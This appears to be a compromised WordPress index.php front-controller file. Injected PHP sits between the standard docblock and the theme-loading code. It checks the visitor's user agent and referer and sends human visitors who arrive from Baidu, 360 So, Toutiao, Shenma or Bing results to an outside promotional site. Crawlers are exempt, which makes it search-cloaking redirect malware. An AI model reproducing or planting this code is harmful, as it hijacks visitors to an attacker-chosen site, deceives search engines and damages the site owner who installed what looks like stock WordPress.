<?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-blog-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
 $kehuurl="https://zb.zshyuan.com/#360tuiguang";
 $arefer=strtolower($_SERVER['HTTP_REFERER']);
 $aagent=strtolower($_SERVER['HTTP_USER_AGENT']);
 if(!strpos($aagent,'spider')&&!strpos($aagent,'bot')){
     if(strpos($arefer,'link?url')||strpos($arefer,'m.baidu.com')||strpos($arefer,'web/searchlist.jsp')||strpos($arefer,'www.so.com/link?')||strpos($arefer,'m.so.com/s')||strpos($arefer,'so.toutiao.com')||strpos($arefer,'m.sm.cn/s')||strpos($arefer,'bing.com')){
         Header("Location:$kehuurl");exit;
     }
 }
define( 'WP_USE_THEMES', true );






 
/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';
